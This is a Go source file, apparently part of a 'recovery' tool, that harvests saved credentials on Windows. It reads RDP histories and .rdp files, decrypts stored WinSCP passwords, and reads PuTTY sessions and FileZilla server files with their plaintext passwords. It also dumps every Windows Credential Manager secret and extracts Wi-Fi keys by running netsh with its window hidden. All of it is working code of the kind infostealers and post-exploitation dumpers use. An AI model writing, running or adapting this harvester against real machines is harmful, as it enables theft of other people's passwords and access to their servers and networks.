//go:build windows

package scanner

import (
	"encoding/xml"
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strconv"
	"strings"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
	"golang.org/x/sys/windows/registry"

	"recovery/recovery/types"
)

var (
	advapi32           = syscall.NewLazyDLL("advapi32.dll")
	procCredEnumerateW = advapi32.NewProc("CredEnumerateW")
	procCredFree       = advapi32.NewProc("CredFree")
)

const (
	credTypeGeneric          = 1
	credTypeDomainPassword   = 2
	credTypeDomainCertificate = 3
)

type winCredential struct {
	Flags              uint32
	Type               uint32
	TargetName         *uint16
	Comment            *uint16
	LastWritten        syscall.Filetime
	CredentialBlobSize uint32
	CredentialBlob     *byte
	Persist            uint32
	AttributeCount     uint32
	Attributes         uintptr
	TargetAlias        *uint16
	UserName           *uint16
}

func ScanApps() []types.AppCredentialResult {
	var results []types.AppCredentialResult
	results = append(results, scanRDP()...)
	results = append(results, scanWinSCP()...)
	results = append(results, scanPuTTY()...)
	results = append(results, scanFileZilla()...)
	results = append(results, scanCredentialManager()...)
	results = append(results, scanWiFi()...)
	return results
}

// ── RDP ────────────────────────────────────────────────────────────────

func scanRDP() []types.AppCredentialResult {
	var results []types.AppCredentialResult

	// Registry: saved connection history with usernames
	k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ)
	if err == nil {
		defer k.Close()
		servers, _ := k.ReadSubKeyNames(-1)
		for _, server := range servers {
			sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ)
			if err != nil {
				continue
			}
			username, _, _ := sk.GetStringValue("UsernameHint")
			sk.Close()

			r := types.AppCredentialResult{
				Application: "RDP",
				Host:        server,
				Port:        3389,
				Username:    username,
				Protocol:    "rdp",
			}

			// Try to get the password from Credential Manager
			pw := credManagerLookup("TERMSRV/" + server)
			if pw != "" {
				r.Password = pw
			}
			results = append(results, r)
		}
	}

	// Also scan Credential Manager for TERMSRV/* entries not in the registry
	creds := enumCredentials()
	seen := make(map[string]bool)
	for _, r := range results {
		seen[strings.ToLower(r.Host)] = true
	}
	for _, c := range creds {
		target := strings.ToLower(c.target)
		if !strings.HasPrefix(target, "termsrv/") {
			continue
		}
		host := c.target[len("TERMSRV/"):]
		if seen[strings.ToLower(host)] {
			continue
		}
		results = append(results, types.AppCredentialResult{
			Application: "RDP",
			Host:        host,
			Port:        3389,
			Username:    c.username,
			Password:    c.password,
			Protocol:    "rdp",
		})
	}

	// Scan for .rdp files
	results = append(results, scanRDPFiles()...)

	return results
}

func scanRDPFiles() []types.AppCredentialResult {
	var results []types.AppCredentialResult
	home, _ := os.UserHomeDir()
	if home == "" {
		return nil
	}

	dirs := []string{
		filepath.Join(home, "Desktop"),
		filepath.Join(home, "Documents"),
		filepath.Join(home, "Downloads"),
	}

	for _, dir := range dirs {
		entries, err := os.ReadDir(dir)
		if err != nil {
			continue
		}
		for _, e := range entries {
			if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") {
				continue
			}
			path := filepath.Join(dir, e.Name())
			data, err := os.ReadFile(path)
			if err != nil || len(data) == 0 {
				continue
			}
			r := parseRDPFile(string(data))
			if r.Host != "" {
				r.Extra = path
				results = append(results, r)
			}
		}
	}

	return results
}

func parseRDPFile(content string) types.AppCredentialResult {
	r := types.AppCredentialResult{
		Application: "RDP",
		Protocol:    "rdp",
		Port:        3389,
	}
	for _, line := range strings.Split(content, "\n") {
		line = strings.TrimSpace(line)
		parts := strings.SplitN(line, ":", 3)
		if len(parts) < 3 {
			continue
		}
		key := strings.ToLower(strings.TrimSpace(parts[0]))
		val := strings.TrimSpace(parts[2])
		switch key {
		case "full address":
			if idx := strings.LastIndex(val, ":"); idx > 0 {
				if p, err := strconv.Atoi(val[idx+1:]); err == nil {
					r.Host = val[:idx]
					r.Port = p
					continue
				}
			}
			r.Host = val
		case "username":
			r.Username = val
		case "server port":
			if p, err := strconv.Atoi(val); err == nil {
				r.Port = p
			}
		}
	}
	return r
}

// ── WinSCP ─────────────────────────────────────────────────────────────

func scanWinSCP() []types.AppCredentialResult {
	var results []types.AppCredentialResult

	k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
	if err != nil {
		return nil
	}
	defer k.Close()

	sessions, _ := k.ReadSubKeyNames(-1)
	for _, sess := range sessions {
		if sess == "Default%20Settings" {
			continue
		}
		sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ)
		if err != nil {
			continue
		}

		hostname, _, _ := sk.GetStringValue("HostName")
		username, _, _ := sk.GetStringValue("UserName")
		portNum, _, _ := sk.GetIntegerValue("PortNumber")
		encPassword, _, _ := sk.GetStringValue("Password")
		fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol")
		sk.Close()

		if hostname == "" {
			continue
		}

		port := int(portNum)
		if port == 0 {
			port = 22
		}

		protocol := "sftp"
		switch fsProtocol {
		case 0:
			protocol = "sftp"
		case 5:
			protocol = "ftp"
		case 1:
			protocol = "scp"
		}

		password := ""
		if encPassword != "" {
			password = decryptWinSCPPassword(encPassword, hostname, username)
		}

		results = append(results, types.AppCredentialResult{
			Application: "WinSCP",
			Host:        hostname,
			Port:        port,
			Username:    username,
			Password:    password,
			Protocol:    protocol,
		})
	}

	return results
}

func decryptWinSCPPassword(hex, hostname, username string) string {
	key := username + hostname

	decNextChar := func(s string, idx int) (byte, int) {
		if idx+2 > len(s) {
			return 0, idx + 2
		}
		a, err1 := strconv.ParseUint(string(s[idx]), 16, 8)
		b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8)
		if err1 != nil || err2 != nil {
			return 0, idx + 2
		}
		return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2
	}

	idx := 0
	flag, idx := decNextChar(hex, idx)

	if flag == 0xFF {
		return ""
	}

	_, idx = decNextChar(hex, idx) // skip unused byte

	length, idx := decNextChar(hex, idx)

	delLen, idx := decNextChar(hex, idx)
	for i := 0; i < int(delLen); i++ {
		_, idx = decNextChar(hex, idx)
	}

	raw := make([]byte, 0, int(length))
	for i := 0; i < int(length); i++ {
		c, newIdx := decNextChar(hex, idx)
		idx = newIdx
		raw = append(raw, c)
	}

	if len(key) > 0 {
		decrypted := make([]byte, len(raw))
		for i, c := range raw {
			decrypted[i] = c ^ key[i%len(key)]
		}
		return string(decrypted)
	}

	return string(raw)
}

// ── PuTTY ──────────────────────────────────────────────────────────────

func scanPuTTY() []types.AppCredentialResult {
	var results []types.AppCredentialResult

	k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
	if err != nil {
		return nil
	}
	defer k.Close()

	sessions, _ := k.ReadSubKeyNames(-1)
	for _, sess := range sessions {
		if sess == "Default%20Settings" {
			continue
		}
		sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ)
		if err != nil {
			continue
		}

		hostname, _, _ := sk.GetStringValue("HostName")
		username, _, _ := sk.GetStringValue("UserName")
		portNum, _, _ := sk.GetIntegerValue("PortNumber")
		protocol, _, _ := sk.GetStringValue("Protocol")
		keyFile, _, _ := sk.GetStringValue("PublicKeyFile")
		proxyHost, _, _ := sk.GetStringValue("ProxyHost")
		sk.Close()

		if hostname == "" {
			continue
		}

		port := int(portNum)
		if port == 0 {
			port = 22
		}
		if protocol == "" {
			protocol = "ssh"
		}

		extra := ""
		if keyFile != "" || proxyHost != "" {
			parts := []string{}
			if keyFile != "" {
				parts = append(parts, "key:"+keyFile)
			}
			if proxyHost != "" {
				parts = append(parts, "proxy:"+proxyHost)
			}
			extra = strings.Join(parts, "; ")
		}

		// URL-decode session name for display purposes
		decodedName := strings.ReplaceAll(sess, "%20", " ")
		_ = decodedName

		results = append(results, types.AppCredentialResult{
			Application: "PuTTY",
			Host:        hostname,
			Port:        port,
			Username:    username,
			Protocol:    protocol,
			Extra:       extra,
		})
	}

	return results
}

// ── FileZilla ──────────────────────────────────────────────────────────

type fzServer struct {
	XMLName  xml.Name `xml:"Server"`
	Host     string   `xml:"Host"`
	Port     int      `xml:"Port"`
	Protocol int      `xml:"Protocol"`
	User     string   `xml:"User"`
	Pass     string   `xml:"Pass"`
}

type fzSiteManager struct {
	XMLName xml.Name   `xml:"FileZilla3"`
	Servers []fzServer `xml:"Servers>Server"`
}

type fzRecentServers struct {
	XMLName xml.Name   `xml:"FileZilla3"`
	Servers []fzServer `xml:"RecentServers>Server"`
}

func scanFileZilla() []types.AppCredentialResult {
	var results []types.AppCredentialResult

	appdata := os.Getenv("APPDATA")
	if appdata == "" {
		return nil
	}
	fzDir := filepath.Join(appdata, "FileZilla")

	for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
		path := filepath.Join(fzDir, file)
		data, err := os.ReadFile(path)
		if err != nil {
			continue
		}

		var servers []fzServer
		if file == "sitemanager.xml" {
			var sm fzSiteManager
			if xml.Unmarshal(data, &sm) == nil {
				servers = sm.Servers
			}
		} else {
			var rs fzRecentServers
			if xml.Unmarshal(data, &rs) == nil {
				servers = rs.Servers
			}
		}

		for _, s := range servers {
			if s.Host == "" {
				continue
			}
			port := s.Port
			if port == 0 {
				port = 21
			}
			protocol := "ftp"
			switch s.Protocol {
			case 1:
				protocol = "sftp"
			case 3, 4:
				protocol = "ftps"
			}

			results = append(results, types.AppCredentialResult{
				Application: "FileZilla",
				Host:        s.Host,
				Port:        port,
				Username:    s.User,
				Password:    s.Pass,
				Protocol:    protocol,
			})
		}
	}

	return results
}

// ── Windows Credential Manager ─────────────────────────────────────────

type credEntry struct {
	target   string
	username string
	password string
	credType uint32
}

func enumCredentials() []credEntry {
	var count uint32
	var credsPtr uintptr

	ret, _, _ := procCredEnumerateW.Call(
		0,
		0,
		uintptr(unsafe.Pointer(&count)),
		uintptr(unsafe.Pointer(&credsPtr)),
	)
	if ret == 0 || count == 0 {
		return nil
	}
	defer procCredFree.Call(credsPtr)

	var results []credEntry
	for i := uint32(0); i < count; i++ {
		entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0))))
		c := (*winCredential)(unsafe.Pointer(entryPtr))
		target := windows.UTF16PtrToString(c.TargetName)
		username := ""
		if c.UserName != nil {
			username = windows.UTF16PtrToString(c.UserName)
		}
		password := ""
		if c.CredentialBlobSize > 0 && c.CredentialBlob != nil {
			blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize)
			password = string(blob)
		}
		results = append(results, credEntry{
			target:   target,
			username: username,
			password: password,
			credType: c.Type,
		})
	}
	return results
}

func credManagerLookup(target string) string {
	target = strings.ToLower(target)
	for _, c := range enumCredentials() {
		if strings.ToLower(c.target) == target {
			return c.password
		}
	}
	return ""
}

func scanCredentialManager() []types.AppCredentialResult {
	var results []types.AppCredentialResult

	for _, c := range enumCredentials() {
		target := strings.ToLower(c.target)
		// Skip TERMSRV entries (already handled by RDP scanner)
		if strings.HasPrefix(target, "termsrv/") {
			continue
		}
		// Skip entries with no useful data
		if c.username == "" && c.password == "" {
			continue
		}

		typeName := "generic"
		switch c.credType {
		case credTypeDomainPassword:
			typeName = "domain"
		case credTypeDomainCertificate:
			typeName = "certificate"
		}

		results = append(results, types.AppCredentialResult{
			Application: "CredManager",
			Host:        c.target,
			Username:    c.username,
			Password:    c.password,
			Protocol:    typeName,
		})
	}

	return results
}

// ── WiFi ───────────────────────────────────────────────────────────────

func scanWiFi() []types.AppCredentialResult {
	var results []types.AppCredentialResult

	cmd := exec.Command("netsh", "wlan", "show", "profiles")
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
	out, err := cmd.Output()
	if err != nil {
		return nil
	}

	var profiles []string
	for _, line := range strings.Split(string(out), "\n") {
		line = strings.TrimSpace(line)
		if idx := strings.Index(line, ": "); idx >= 0 {
			lower := strings.ToLower(line[:idx])
			if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") {
				name := strings.TrimSpace(line[idx+2:])
				if name != "" {
					profiles = append(profiles, name)
				}
			}
		}
	}

	for _, name := range profiles {
		cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear")
		cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
		out, err := cmd.Output()
		if err != nil {
			continue
		}

		password := ""
		auth := ""
		for _, line := range strings.Split(string(out), "\n") {
			line = strings.TrimSpace(line)
			if idx := strings.Index(line, ": "); idx >= 0 {
				lower := strings.ToLower(line[:idx])
				val := strings.TrimSpace(line[idx+2:])
				if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") {
					password = val
				} else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") {
					auth = val
				}
			}
		}

		results = append(results, types.AppCredentialResult{
			Application: "WiFi",
			Host:        name,
			Username:    auth,
			Password:    password,
			Protocol:    "wifi",
		})
	}

	return results
}